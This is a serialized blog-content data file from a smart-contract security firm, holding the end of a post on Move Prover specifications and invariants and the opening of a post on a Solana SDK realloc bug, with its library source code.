32\n",{"type":23,"tag":41,"props":12763,"children":12764},{"class":43,"line":195},[12765],{"type":23,"tag":41,"props":12766,"children":12767},{"style":70},[12768],{"type":28,"value":12659},{"type":23,"tag":546,"props":12770,"children":12772},{"id":12771},"access-control-policies",[12773],{"type":28,"value":12774},"Access Control Policies",{"type":23,"tag":24,"props":12776,"children":12777},{},[12778],{"type":28,"value":12779},"Somewhat similar to error conditions, it's often useful to enforce explicit access control policies at the specification level.",{"type":23,"tag":24,"props":12781,"children":12782},{},[12783,12785,12791,12793,12798],{"type":28,"value":12784},"For example, in ",{"type":23,"tag":37,"props":12786,"children":12788},{"className":12787},[],[12789],{"type":28,"value":12790},"std::offer",{"type":28,"value":12792}," we are able to see that the function should abort if and only if there does not exist an offer, ",{"type":23,"tag":2913,"props":12794,"children":12795},{},[12796],{"type":28,"value":12797},"or",{"type":28,"value":12799}," the recipient is now allowed.",{"type":23,"tag":31,"props":12801,"children":12803},{"code":12802,"language":2981,"meta":7,"className":2982,"style":7},"    spec redeem {\n      /// Aborts if there is no offer under `offer_address` or if the account\n      /// cannot redeem the offer.\n      /// Ensures that the offered struct under `offer_address` is removed.\n      aborts_if !exists\u003COffer\u003COffered>>(offer_address);\n      aborts_if !is_allowed_recipient\u003COffered>(offer_address, signer::address_of(account));\n      ensures !exists\u003COffer\u003COffered>>(offer_address);\n      ensures result == old(global\u003COffer\u003COffered>>(offer_address).offered);\n    }\n",[12804],{"type":23,"tag":37,"props":12805,"children":12806},{"__ignoreMap":7},[12807,12824,12832,12840,12848,12895,12953,12996,13062],{"type":23,"tag":41,"props":12808,"children":12809},{"class":43,"line":44},[12810,12815,12820],{"type":23,"tag":41,"props":12811,"children":12812},{"style":858},[12813],{"type":28,"value":12814},"    spec",{"type":23,"tag":41,"props":12816,"children":12817},{"style":858},[12818],{"type":28,"value":12819}," redeem",{"type":23,"tag":41,"props":12821,"children":12822},{"style":70},[12823],{"type":28,"value":102},{"type":23,"tag":41,"props":12825,"children":12826},{"class":43,"line":54},[12827],{"type":23,"tag":41,"props":12828,"children":12829},{"style":48},[12830],{"type":28,"value":12831},"      /// Aborts if there is no offer under `offer_address` or if the account\n",{"type":23,"tag":41,"props":12833,"children":12834},{"class":43,"line":76},[12835],{"type":23,"tag":41,"props":12836,"children":12837},{"style":48},[12838],{"type":28,"value":12839},"      /// cannot redeem the offer.\n",{"type":23,"tag":41,"props":12841,"children":12842},{"class":43,"line":85},[12843],{"type":23,"tag":41,"props":12844,"children":12845},{"style":48},[12846],{"type":28,"value":12847},"      /// Ensures that the offered struct under `offer_address` is removed.\n",{"type":23,"tag":41,"props":12849,"children":12850},{"class":43,"line":105},[12851,12855,12860,12864,12868,12873,12877,12882,12886,12891],{"type":23,"tag":41,"props":12852,"children":12853},{"style":858},[12854],{"type":28,"value":9050},{"type":23,"tag":41,"props":12856,"children":12857},{"style":170},[12858],{"type":28,"value":12859}," !",{"type":23,"tag":41,"props":12861,"children":12862},{"style":858},[12863],{"type":28,"value":6703},{"type":23,"tag":41,"props":12865,"children":12866},{"style":70},[12867],{"type":28,"value":1012},{"type":23,"tag":41,"props":12869,"children":12870},{"style":94},[12871],{"type":28,"value":12872},"Offer",{"type":23,"tag":41,"props":12874,"children":12875},{"style":70},[12876],{"type":28,"value":1012},{"type":23,"tag":41,"props":12878,"children":12879},{"style":94},[12880],{"type":28,"value":12881},"Offered",{"type":23,"tag":41,"props":12883,"children":12884},{"style":70},[12885],{"type":28,"value":6725},{"type":23,"tag":41,"props":12887,"children":12888},{"style":858},[12889],{"type":28,"value":12890},"offer_address",{"type":23,"tag":41,"props":12892,"children":12893},{"style":70},[12894],{"type":28,"value":3825},{"type":23,"tag":41,"props":12896,"children":12897},{"class":43,"line":155},[12898,12902,12906,12911,12915,12919,12923,12927,12932,12936,12940,12944,12949],{"type":23,"tag":41,"props":12899,"children":12900},{"style":858},[12901],{"type":28,"value":9050},{"type":23,"tag":41,"props":12903,"children":12904},{"style":170},[12905],{"type":28,"value":12859},{"type":23,"tag":41,"props":12907,"children":12908},{"style":858},[12909],{"type":28,"value":12910},"is_allowed_recipient",{"type":23,"tag":41,"props":12912,"children":12913},{"style":70},[12914],{"type":28,"value":1012},{"type":23,"tag":41,"props":12916,"children":12917},{"style":94},[12918],{"type":28,"value":12881},{"type":23,"tag":41,"props":12920,"children":12921},{"style":70},[12922],{"type":28,"value":7610},{"type":23,"tag":41,"props":12924,"children":12925},{"style":858},[12926],{"type":28,"value":12890},{"type":23,"tag":41,"props":12928,"children":12929},{"style":70},[12930],{"type":28,"value":12931},", signer",{"type":23,"tag":41,"props":12933,"children":12934},{"style":170},[12935],{"type":28,"value":3479},{"type":23,"tag":41,"props":12937,"children":12938},{"style":114},[12939],{"type":28,"value":7208},{"type":23,"tag":41,"props":12941,"children":12942},{"style":70},[12943],{"type":28,"value":1737},{"type":23,"tag":41,"props":12945,"children":12946},{"style":858},[12947],{"type":28,"value":12948},"account",{"type":23,"tag":41,"props":12950,"children":12951},{"style":70},[12952],{"type":28,"value":7222},{"type":23,"tag":41,"props":12954,"children":12955},{"class":43,"line":186},[12956,12960,12964,12968,12972,12976,12980,12984,12988,12992],{"type":23,"tag":41,"props":12957,"children":12958},{"style":858},[12959],{"type":28,"value":8186},{"type":23,"tag":41,"props":12961,"children":12962},{"style":170},[12963],{"type":28,"value":12859},{"type":23,"tag":41,"props":12965,"children":12966},{"style":858},[12967],{"type":28,"value":6703},{"type":23,"tag":41,"props":12969,"children":12970},{"style":70},[12971],{"type":28,"value":1012},{"type":23,"tag":41,"props":12973,"children":12974},{"style":94},[12975],{"type":28,"value":12872},{"type":23,"tag":41,"props":12977,"children":12978},{"style":70},[12979],{"type":28,"value":1012},{"type":23,"tag":41,"props":12981,"children":12982},{"style":94},[12983],{"type":28,"value":12881},{"type":23,"tag":41,"props":12985,"children":12986},{"style":70},[12987],{"type":28,"value":6725},{"type":23,"tag":41,"props":12989,"children":12990},{"style":858},[12991],{"type":28,"value":12890},{"type":23,"tag":41,"props":12993,"children":12994},{"style":70},[12995],{"type":28,"value":3825},{"type":23,"tag":41,"props":12997,"children":12998},{"class":43,"line":195},[12999,13003,13007,13011,13016,13020,13025,13029,13033,13037,13041,13045,13049,13053,13057],{"type":23,"tag":41,"props":13000,"children":13001},{"style":858},[13002],{"type":28,"value":8186},{"type":23,"tag":41,"props":13004,"children":13005},{"style":858},[13006],{"type":28,"value":9157},{"type":23,"tag":41,"props":13008,"children":13009},{"style":170},[13010],{"type":28,"value":3282},{"type":23,"tag":41,"props":13012,"children":13013},{"style":114},[13014],{"type":28,"value":13015}," old",{"type":23,"tag":41,"props":13017,"children":13018},{"style":70},[13019],{"type":28,"value":1737},{"type":23,"tag":41,"props":13021,"children":13022},{"style":858},[13023],{"type":28,"value":13024},"global",{"type":23,"tag":41,"props":13026,"children":13027},{"style":70},[13028],{"type":28,"value":1012},{"type":23,"tag":41,"props":13030,"children":13031},{"style":94},[13032],{"type":28,"value":12872},{"type":23,"tag":41,"props":13034,"children":13035},{"style":70},[13036],{"type":28,"value":1012},{"type":23,"tag":41,"props":13038,"children":13039},{"style":94},[13040],{"type":28,"value":12881},{"type":23,"tag":41,"props":13042,"children":13043},{"style":70},[13044],{"type":28,"value":6725},{"type":23,"tag":41,"props":13046,"children":13047},{"style":858},[13048],{"type":28,"value":12890},{"type":23,"tag":41,"props":13050,"children":13051},{"style":70},[13052],{"type":28,"value":2678},{"type":23,"tag":41,"props":13054,"children":13055},{"style":170},[13056],{"type":28,"value":706},{"type":23,"tag":41,"props":13058,"children":13059},{"style":70},[13060],{"type":28,"value":13061},"offered);\n",{"type":23,"tag":41,"props":13063,"children":13064},{"class":43,"line":905},[13065],{"type":23,"tag":41,"props":13066,"children":13067},{"style":70},[13068],{"type":28,"value":192},{"type":23,"tag":24,"props":13070,"children":13071},{},[13072],{"type":28,"value":13073},"These access control specifications make it impossible to accidentally remove security critical access control policies later.",{"type":23,"tag":546,"props":13075,"children":13077},{"id":13076},"complex-mathematical-formulae",[13078],{"type":28,"value":13079},"Complex Mathematical Formulae",{"type":23,"tag":24,"props":13081,"children":13082},{},[13083,13085,13090],{"type":28,"value":13084},"Whether it's a decimal implementation or more complex data structures, it's often useful to verify that the expected output is ",{"type":23,"tag":2913,"props":13086,"children":13087},{},[13088],{"type":28,"value":13089},"always",{"type":28,"value":13091}," the output.",{"type":23,"tag":24,"props":13093,"children":13094},{},[13095],{"type":28,"value":13096},"Proving that your fundamental data structures work exactly as intended will give you much more confidence in the remainder of your codebase.",{"type":23,"tag":24,"props":13098,"children":13099},{},[13100,13102,13109],{"type":28,"value":13101},"For example, in our work with ",{"type":23,"tag":458,"props":13103,"children":13106},{"href":13104,"rel":13105},"https://laminar.markets/",[462],[13107],{"type":28,"value":13108},"Laminar Markets",{"type":28,"value":13110},", we provided recommendations for verifying their internal splay tree implementation against a simpler priority queue data structure.",{"type":23,"tag":546,"props":13112,"children":13114},{"id":13113},"data-invariants",[13115],{"type":28,"value":13116},"Data Invariants",{"type":23,"tag":24,"props":13118,"children":13119},{},[13120,13122,13128,13130,13136,13138,13144,13146,13152],{"type":28,"value":13121},"Formal verification provides the best environment to verify that certain ",{"type":23,"tag":37,"props":13123,"children":13125},{"className":13124},[],[13126],{"type":28,"value":13127},"variables",{"type":28,"value":13129}," or ",{"type":23,"tag":37,"props":13131,"children":13133},{"className":13132},[],[13134],{"type":28,"value":13135},"resources",{"type":28,"value":13137}," don't exceed the intended boundaries. Let's consider the struct from below. We can ensure that ",{"type":23,"tag":37,"props":13139,"children":13141},{"className":13140},[],[13142],{"type":28,"value":13143},"index",{"type":28,"value":13145}," is never greater than 4 using a ",{"type":23,"tag":37,"props":13147,"children":13149},{"className":13148},[],[13150],{"type":28,"value":13151},"struct invariant",{"type":28,"value":706},{"type":23,"tag":31,"props":13154,"children":13156},{"code":13155,"language":2981,"meta":7,"className":2982,"style":7},"struct Type {\n    index: u64\n}\n\nspec Type {\n    invariant index \u003C 4;\n}\n",[13157],{"type":23,"tag":37,"props":13158,"children":13159},{"__ignoreMap":7},[13160,13176,13193,13200,13207,13222,13246],{"type":23,"tag":41,"props":13161,"children":13162},{"class":43,"line":44},[13163,13167,13172],{"type":23,"tag":41,"props":13164,"children":13165},{"style":64},[13166],{"type":28,"value":9399},{"type":23,"tag":41,"props":13168,"children":13169},{"style":94},[13170],{"type":28,"value":13171}," Type",{"type":23,"tag":41,"props":13173,"children":13174},{"style":70},[13175],{"type":28,"value":102},{"type":23,"tag":41,"props":13177,"children":13178},{"class":43,"line":54},[13179,13184,13188],{"type":23,"tag":41,"props":13180,"children":13181},{"style":858},[13182],{"type":28,"value":13183},"    index",{"type":23,"tag":41,"props":13185,"children":13186},{"style":170},[13187],{"type":28,"value":1474},{"type":23,"tag":41,"props":13189,"children":13190},{"style":94},[13191],{"type":28,"value":13192}," u64\n",{"type":23,"tag":41,"props":13194,"children":13195},{"class":43,"line":76},[13196],{"type":23,"tag":41,"props":13197,"children":13198},{"style":70},[13199],{"type":28,"value":201},{"type":23,"tag":41,"props":13201,"children":13202},{"class":43,"line":85},[13203],{"type":23,"tag":41,"props":13204,"children":13205},{"emptyLinePlaceholder":18},[13206],{"type":28,"value":82},{"type":23,"tag":41,"props":13208,"children":13209},{"class":43,"line":105},[13210,13214,13218],{"type":23,"tag":41,"props":13211,"children":13212},{"style":858},[13213],{"type":28,"value":8274},{"type":23,"tag":41,"props":13215,"children":13216},{"style":94},[13217],{"type":28,"value":13171},{"type":23,"tag":41,"props":13219,"children":13220},{"style":70},[13221],{"type":28,"value":102},{"type":23,"tag":41,"props":13223,"children":13224},{"class":43,"line":155},[13225,13229,13234,13238,13242],{"type":23,"tag":41,"props":13226,"children":13227},{"style":858},[13228],{"type":28,"value":8291},{"type":23,"tag":41,"props":13230,"children":13231},{"style":858},[13232],{"type":28,"value":13233}," index",{"type":23,"tag":41,"props":13235,"children":13236},{"style":170},[13237],{"type":28,"value":758},{"type":23,"tag":41,"props":13239,"children":13240},{"style":164},[13241],{"type":28,"value":11742},{"type":23,"tag":41,"props":13243,"children":13244},{"style":70},[13245],{"type":28,"value":183},{"type":23,"tag":41,"props":13247,"children":13248},{"class":43,"line":186},[13249],{"type":23,"tag":41,"props":13250,"children":13251},{"style":70},[13252],{"type":28,"value":201},{"type":23,"tag":24,"props":13254,"children":13255},{},[13256,13258,13265,13266,13272],{"type":28,"value":13257},"We were able to verify more complex properties in our recent audits for ",{"type":23,"tag":458,"props":13259,"children":13262},{"href":13260,"rel":13261},"https://layerzero.network/",[462],[13263],{"type":28,"value":13264},"LayerZero",{"type":28,"value":1361},{"type":23,"tag":458,"props":13267,"children":13270},{"href":13268,"rel":13269},"http://ariesmarkets.xyz/",[462],[13271],{"type":28,"value":6789},{"type":28,"value":13273},", but the details are left as an exercise to the reader.",{"type":23,"tag":546,"props":13275,"children":13277},{"id":13276},"economic-invariants",[13278],{"type":28,"value":13279},"Economic Invariants.",{"type":23,"tag":24,"props":13281,"children":13282},{},[13283],{"type":28,"value":13284},"Proper economic invariants can require more creativity to come up with but can be extremely effective at securing your protocol.",{"type":23,"tag":24,"props":13286,"children":13287},{},[13288],{"type":28,"value":13289},"For example, you should never be able to drain coins from a pool by adding and removing shares. In practice, you might implement this as a utility helper function.",{"type":23,"tag":31,"props":13291,"children":13292},{"code":7966,"language":2981,"meta":7,"className":2982,"style":7},[13293],{"type":23,"tag":37,"props":13294,"children":13295},{"__ignoreMap":7},[13296,13303,13386,13425,13444,13451,13466,13489,13512,13535],{"type":23,"tag":41,"props":13297,"children":13298},{"class":43,"line":44},[13299],{"type":23,"tag":41,"props":13300,"children":13301},{"style":48},[13302],{"type":28,"value":7978},{"type":23,"tag":41,"props":13304,"children":13305},{"class":43,"line":54},[13306,13310,13314,13318,13322,13326,13330,13334,13338,13342,13346,13350,13354,13358,13362,13366,13370,13374,13378,13382],{"type":23,"tag":41,"props":13307,"children":13308},{"style":858},[13309],{"type":28,"value":6568},{"type":23,"tag":41,"props":13311,"children":13312},{"style":114},[13313],{"type":28,"value":7990},{"type":23,"tag":41,"props":13315,"children":13316},{"style":70},[13317],{"type":28,"value":1737},{"type":23,"tag":41,"props":13319,"children":13320},{"style":858},[13321],{"type":28,"value":7999},{"type":23,"tag":41,"props":13323,"children":13324},{"style":170},[13325],{"type":28,"value":1474},{"type":23,"tag":41,"props":13327,"children":13328},{"style":94},[13329],{"type":28,"value":5860},{"type":23,"tag":41,"props":13331,"children":13332},{"style":70},[13333],{"type":28,"value":970},{"type":23,"tag":41,"props":13335,"children":13336},{"style":858},[13337],{"type":28,"value":8016},{"type":23,"tag":41,"props":13339,"children":13340},{"style":170},[13341],{"type":28,"value":1474},{"type":23,"tag":41,"props":13343,"children":13344},{"style":94},[13345],{"type":28,"value":5860},{"type":23,"tag":41,"props":13347,"children":13348},{"style":70},[13349],{"type":28,"value":2678},{"type":23,"tag":41,"props":13351,"children":13352},{"style":170},[13353],{"type":28,"value":1474},{"type":23,"tag":41,"props":13355,"children":13356},{"style":70},[13357],{"type":28,"value":142},{"type":23,"tag":41,"props":13359,"children":13360},{"style":94},[13361],{"type":28,"value":8041},{"type":23,"tag":41,"props":13363,"children":13364},{"style":70},[13365],{"type":28,"value":970},{"type":23,"tag":41,"props":13367,"children":13368},{"style":94},[13369],{"type":28,"value":8041},{"type":23,"tag":41,"props":13371,"children":13372},{"style":70},[13373],{"type":28,"value":866},{"type":23,"tag":41,"props":13375,"children":13376},{"style":858},[13377],{"type":28,"value":6342},{"type":23,"tag":41,"props":13379,"children":13380},{"style":94},[13381],{"type":28,"value":8062},{"type":23,"tag":41,"props":13383,"children":13384},{"style":70},[13385],{"type":28,"value":102},{"type":23,"tag":41,"props":13387,"children":13388},{"class":43,"line":76},[13389,13393,13397,13401,13405,13409,13413,13417,13421],{"type":23,"tag":41,"props":13390,"children":13391},{"style":64},[13392],{"type":28,"value":8074},{"type":23,"tag":41,"props":13394,"children":13395},{"style":858},[13396],{"type":28,"value":8079},{"type":23,"tag":41,"props":13398,"children":13399},{"style":170},[13400],{"type":28,"value":3017},{"type":23,"tag":41,"props":13402,"children":13403},{"style":114},[13404],{"type":28,"value":8088},{"type":23,"tag":41,"props":13406,"children":13407},{"style":70},[13408],{"type":28,"value":1737},{"type":23,"tag":41,"props":13410,"children":13411},{"style":858},[13412],{"type":28,"value":7999},{"type":23,"tag":41,"props":13414,"children":13415},{"style":70},[13416],{"type":28,"value":970},{"type":23,"tag":41,"props":13418,"children":13419},{"style":858},[13420],{"type":28,"value":8016},{"type":23,"tag":41,"props":13422,"children":13423},{"style":70},[13424],{"type":28,"value":3825},{"type":23,"tag":41,"props":13426,"children":13427},{"class":43,"line":85},[13428,13432,13436,13440],{"type":23,"tag":41,"props":13429,"children":13430},{"style":114},[13431],{"type":28,"value":8116},{"type":23,"tag":41,"props":13433,"children":13434},{"style":70},[13435],{"type":28,"value":1737},{"type":23,"tag":41,"props":13437,"children":13438},{"style":858},[13439],{"type":28,"value":8125},{"type":23,"tag":41,"props":13441,"children":13442},{"style":70},[13443],{"type":28,"value":1969},{"type":23,"tag":41,"props":13445,"children":13446},{"class":43,"line":105},[13447],{"type":23,"tag":41,"props":13448,"children":13449},{"style":70},[13450],{"type":28,"value":5872},{"type":23,"tag":41,"props":13452,"children":13453},{"class":43,"line":155},[13454,13458,13462],{"type":23,"tag":41,"props":13455,"children":13456},{"style":858},[13457],{"type":28,"value":8144},{"type":23,"tag":41,"props":13459,"children":13460},{"style":858},[13461],{"type":28,"value":7990},{"type":23,"tag":41,"props":13463,"children":13464},{"style":70},[13465],{"type":28,"value":102},{"type":23,"tag":41,"props":13467,"children":13468},{"class":43,"line":186},[13469,13473,13477,13481,13485],{"type":23,"tag":41,"props":13470,"children":13471},{"style":858},[13472],{"type":28,"value":8160},{"type":23,"tag":41,"props":13474,"children":13475},{"style":858},[13476],{"type":28,"value":8165},{"type":23,"tag":41,"props":13478,"children":13479},{"style":170},[13480],{"type":28,"value":2381},{"type":23,"tag":41,"props":13482,"children":13483},{"style":64},[13484],{"type":28,"value":8174},{"type":23,"tag":41,"props":13486,"children":13487},{"style":70},[13488],{"type":28,"value":183},{"type":23,"tag":41,"props":13490,"children":13491},{"class":43,"line":195},[13492,13496,13500,13504,13508],{"type":23,"tag":41,"props":13493,"children":13494},{"style":858},[13495],{"type":28,"value":8186},{"type":23,"tag":41,"props":13497,"children":13498},{"style":858},[13499],{"type":28,"value":8191},{"type":23,"tag":41,"props":13501,"children":13502},{"style":170},[13503],{"type":28,"value":8196},{"type":23,"tag":41,"props":13505,"children":13506},{"style":858},[13507],{"type":28,"value":8201},{"type":23,"tag":41,"props":13509,"children":13510},{"style":70},[13511],{"type":28,"value":183},{"type":23,"tag":41,"props":13513,"children":13514},{"class":43,"line":905},[13515,13519,13523,13527,13531],{"type":23,"tag":41,"props":13516,"children":13517},{"style":858},[13518],{"type":28,"value":8186},{"type":23,"tag":41,"props":13520,"children":13521},{"style":858},[13522],{"type":28,"value":8217},{"type":23,"tag":41,"props":13524,"children":13525},{"style":170},[13526],{"type":28,"value":8196},{"type":23,"tag":41,"props":13528,"children":13529},{"style":858},[13530],{"type":28,"value":8226},{"type":23,"tag":41,"props":13532,"children":13533},{"style":70},[13534],{"type":28,"value":183},{"type":23,"tag":41,"props":13536,"children":13537},{"class":43,"line":922},[13538],{"type":23,"tag":41,"props":13539,"children":13540},{"style":70},[13541],{"type":28,"value":5872},{"type":23,"tag":24,"props":13543,"children":13544},{},[13545],{"type":28,"value":13546},"Some other ideas include",{"type":23,"tag":5436,"props":13548,"children":13549},{},[13550,13555,13560],{"type":23,"tag":421,"props":13551,"children":13552},{},[13553],{"type":28,"value":13554},"Swapping through an AMM should never lead to a decrease in one side of the pool without also increasing the other side. In other words, no free money",{"type":23,"tag":421,"props":13556,"children":13557},{},[13558],{"type":28,"value":13559},"Lending protocols should always be fully collateralized after a series of deposit, borrow, and withdraw instructions.",{"type":23,"tag":421,"props":13561,"children":13562},{},[13563],{"type":28,"value":13564},"Orderbooks should never lose money after an order is placed and then canceled.",{"type":23,"tag":446,"props":13566,"children":13567},{"id":5309},[13568],{"type":28,"value":5312},{"type":23,"tag":24,"props":13570,"children":13571},{},[13572],{"type":28,"value":13573},"In this post, we've explored how to properly utilize the Move Prover to verify critical invariants about your codebase.",{"type":23,"tag":24,"props":13575,"children":13576},{},[13577],{"type":28,"value":13578},"In our upcoming posts, we will explore how to turn the Move Prover into a weapon for squashing security vulnerabilities by learning how to ask the right questions, so stay tuned!",{"type":23,"tag":24,"props":13580,"children":13581},{},[13582,13584,13589],{"type":28,"value":13583},"We're passionate about formal verification and pushing the edge of what's possible in Move security. If you have any thoughts, or would like to explore an audit, feel free to reach out to me ",{"type":23,"tag":458,"props":13585,"children":13587},{"href":9239,"rel":13586},[462],[13588],{"type":28,"value":9243},{"type":28,"value":706},{"type":23,"tag":2843,"props":13591,"children":13592},{},[13593],{"type":28,"value":2847},{"title":7,"searchDepth":54,"depth":54,"links":13595},[13596,13597,13600,13607],{"id":9303,"depth":54,"text":9306},{"id":9357,"depth":54,"text":9360,"children":13598},[13599],{"id":9608,"depth":76,"text":9604},{"id":12504,"depth":54,"text":12507,"children":13601},[13602,13603,13604,13605,13606],{"id":12520,"depth":76,"text":12523},{"id":12771,"depth":76,"text":12774},{"id":13076,"depth":76,"text":13079},{"id":13113,"depth":76,"text":13116},{"id":13276,"depth":76,"text":13279},{"id":5309,"depth":54,"text":5312},"content:blog:2022-09-16-move-prover.md","blog/2022-09-16-move-prover.md","blog/2022-09-16-move-prover",{"_path":13612,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":13613,"description":13614,"author":13615,"image":13616,"date":13619,"isFeatured":18,"onBlogPage":18,"tags":13620,"body":13621,"_type":2864,"_id":18731,"_source":2866,"_file":18732,"_stem":18733,"_extension":2869},"/blog/2022-12-09-rust-realloc-and-references","Rust, Realloc, and References","Rust is safe.. right? Not if your dependencies are unsafe.. A deep dive into a subtle Solana SDK bug, Rust internals, and how we found it all.","ethan",{"src":13617,"height":13618,"width":13},"/posts/rust-realloc-and-references/title.jpg",512,"2022-12-09",[2882,9267],{"type":20,"children":13622,"toc":18715},[13623,13651,13671,14338,14358,14369,14381,14514,14524,14530,14556,14896,14941,15268,15330,15343,15417,15485,15506,15519,15533,15878,15889,15894,16025,16076,16102,16114,16287,16423,16464,16501,16566,16571,16609,16663,16674,16816,16828,16834,16840,16873,16887,17008,17027,17055,17061,17151,17242,17248,17253,17300,17569,17644,17655,17682,18014,18026,18099,18372,18409,18711],{"type":23,"tag":24,"props":13624,"children":13625},{},[13626,13628,13634,13636,13641,13643,13649],{"type":28,"value":13627},"It all started with an audit of a program that used ",{"type":23,"tag":37,"props":13629,"children":13631},{"className":13630},[],[13632],{"type":28,"value":13633},"realloc",{"type":28,"value":13635}," on an account, without any bounds checks on the new size allowed. It seemed like the developers assumed that if the new size was too large, the ",{"type":23,"tag":37,"props":13637,"children":13639},{"className":13638},[],[13640],{"type":28,"value":13633},{"type":28,"value":13642}," call (from ",{"type":23,"tag":37,"props":13644,"children":13646},{"className":13645},[],[13647],{"type":28,"value":13648},"solana_program",{"type":28,"value":13650},") would error out appropriately.",{"type":23,"tag":24,"props":13652,"children":13653},{},[13654,13656,13662,13663,13670],{"type":28,"value":13655},"But we're not ones to just assume things around here, so let's take a look at how ",{"type":23,"tag":37,"props":13657,"children":13659},{"className":13658},[],[13660],{"type":28,"value":13661},"AccountInfo::realloc",{"type":28,"value":5501},{"type":23,"tag":458,"props":13664,"children":13667},{"href":13665,"rel":13666},"https://docs.rs/solana-program/1.10.28/src/solana_program/account_info.rs.html#124-148",[462],[13668],{"type":28,"value":13669},"implemented",{"type":28,"value":1474},{"type":23,"tag":31,"props":13672,"children":13674},{"className":2982,"code":13673,"language":2981,"meta":7,"style":7},"pub fn realloc(&self, new_len: usize, zero_init: bool) -> Result\u003C(), ProgramError> {\n    let orig_len = self.data_len();\n\n    // realloc\n    unsafe {\n        // First set new length in the serialized data\n        let ptr = self.try_borrow_mut_data()?.as_mut_ptr().offset(-8) as *mut u64;\n        *ptr = new_len as u64;\n\n        // Then set the new length in the local slice\n        let ptr = &mut *(((self.data.as_ptr() as *const u64).offset(1) as u64) as *mut u64);\n        *ptr = new_len as u64;\n    }\n\n    // zero-init if requested\n    if zero_init && new_len > orig_len {\n        sol_memset(\n            &mut self.try_borrow_mut_data()?[orig_len..],\n            0,\n            new_len.saturating_sub(orig_len),\n        );\n    }\n\n    Ok(())\n}\n",[13675],{"type":23,"tag":37,"props":13676,"children":13677},{"__ignoreMap":7},[13678,13771,13805,13812,13820,13832,13840,13932,13965,13972,13980,14109,14140,14147,14154,14162,14195,14207,14256,14268,14297,14304,14311,14318,14331],{"type":23,"tag":41,"props":13679,"children":13680},{"class":43,"line":44},[13681,13686,13691,13696,13700,13704,13709,13713,13718,13722,13727,13731,13736,13740,13744,13748,13752,13757,13762,13767],{"type":23,"tag":41,"props":13682,"children":13683},{"style":64},[13684],{"type":28,"value":13685},"pub",{"type":23,"tag":41,"props":13687,"children":13688},{"style":64},[13689],{"type":28,"value":13690}," fn",{"type":23,"tag":41,"props":13692,"children":13693},{"style":114},[13694],{"type":28,"value":13695}," realloc",{"type":23,"tag":41,"props":13697,"children":13698},{"style":70},[13699],{"type":28,"value":1737},{"type":23,"tag":41,"props":13701,"children":13702},{"style":170},[13703],{"type":28,"value":855},{"type":23,"tag":41,"props":13705,"children":13706},{"style":64},[13707],{"type":28,"value":13708},"self",{"type":23,"tag":41,"props":13710,"children":13711},{"style":70},[13712],{"type":28,"value":970},{"type":23,"tag":41,"props":13714,"children":13715},{"style":858},[13716],{"type":28,"value":13717},"new_len",{"type":23,"tag":41,"props":13719,"children":13720},{"style":170},[13721],{"type":28,"value":1474},{"type":23,"tag":41,"props":13723,"children":13724},{"style":94},[13725],{"type":28,"value":13726}," usize",{"type":23,"tag":41,"props":13728,"children":13729},{"style":70},[13730],{"type":28,"value":970},{"type":23,"tag":41,"props":13732,"children":13733},{"style":858},[13734],{"type":28,"value":13735},"zero_init",{"type":23,"tag":41,"props":13737,"children":13738},{"style":170},[13739],{"type":28,"value":1474},{"type":23,"tag":41,"props":13741,"children":13742},{"style":94},[13743],{"type":28,"value":12047},{"type":23,"tag":41,"props":13745,"children":13746},{"style":70},[13747],{"type":28,"value":866},{"type":23,"tag":41,"props":13749,"children":13750},{"style":170},[13751],{"type":28,"value":2453},{"type":23,"tag":41,"props":13753,"children":13754},{"style":94},[13755],{"type":28,"value":13756}," Result",{"type":23,"tag":41,"props":13758,"children":13759},{"style":70},[13760],{"type":28,"value":13761},"\u003C(), ",{"type":23,"tag":41,"props":13763,"children":13764},{"style":94},[13765],{"type":28,"value":13766},"ProgramError",{"type":23,"tag":41,"props":13768,"children":13769},{"style":70},[13770],{"type":28,"value":7280},{"type":23,"tag":41,"props":13772,"children":13773},{"class":43,"line":54},[13774,13778,13783,13787,13792,13796,13801],{"type":23,"tag":41,"props":13775,"children":13776},{"style":64},[13777],{"type":28,"value":3002},{"type":23,"tag":41,"props":13779,"children":13780},{"style":858},[13781],{"type":28,"value":13782}," orig_len",{"type":23,"tag":41,"props":13784,"children":13785},{"style":170},[13786],{"type":28,"value":3017},{"type":23,"tag":41,"props":13788,"children":13789},{"style":64},[13790],{"type":28,"value":13791}," self",{"type":23,"tag":41,"props":13793,"children":13794},{"style":170},[13795],{"type":28,"value":706},{"type":23,"tag":41,"props":13797,"children":13798},{"style":114},[13799],{"type":28,"value":13800},"data_len",{"type":23,"tag":41,"props":13802,"children":13803},{"style":70},[13804],{"type":28,"value":3669},{"type":23,"tag":41,"props":13806,"children":13807},{"class":43,"line":76},[13808],{"type":23,"tag":41,"props":13809,"children":13810},{"emptyLinePlaceholder":18},[13811],{"type":28,"value":82},{"type":23,"tag":41,"props":13813,"children":13814},{"class":43,"line":85},[13815],{"type":23,"tag":41,"props":13816,"children":13817},{"style":48},[13818],{"type":28,"value":13819},"    // realloc\n",{"type":23,"tag":41,"props":13821,"children":13822},{"class":43,"line":105},[13823,13828],{"type":23,"tag":41,"props":13824,"children":13825},{"style":64},[13826],{"type":28,"value":13827},"    unsafe",{"type":23,"tag":41,"props":13829,"children":13830},{"style":70},[13831],{"type":28,"value":102},{"type":23,"tag":41,"props":13833,"children":13834},{"class":43,"line":155},[13835],{"type":23,"tag":41,"props":13836,"children":13837},{"style":48},[13838],{"type":28,"value":13839},"        // First set new length in the serialized data\n",{"type":23,"tag":41,"props":13841,"children":13842},{"class":43,"line":186},[13843,13847,13852,13856,13860,13864,13869,13874,13878,13883,13887,13891,13896,13900,13904,13908,13912,13916,13920,13924,13928],{"type":23,"tag":41,"props":13844,"children":13845},{"style":64},[13846],{"type":28,"value":3066},{"type":23,"tag":41,"props":13848,"children":13849},{"style":858},[13850],{"type":28,"value":13851}," 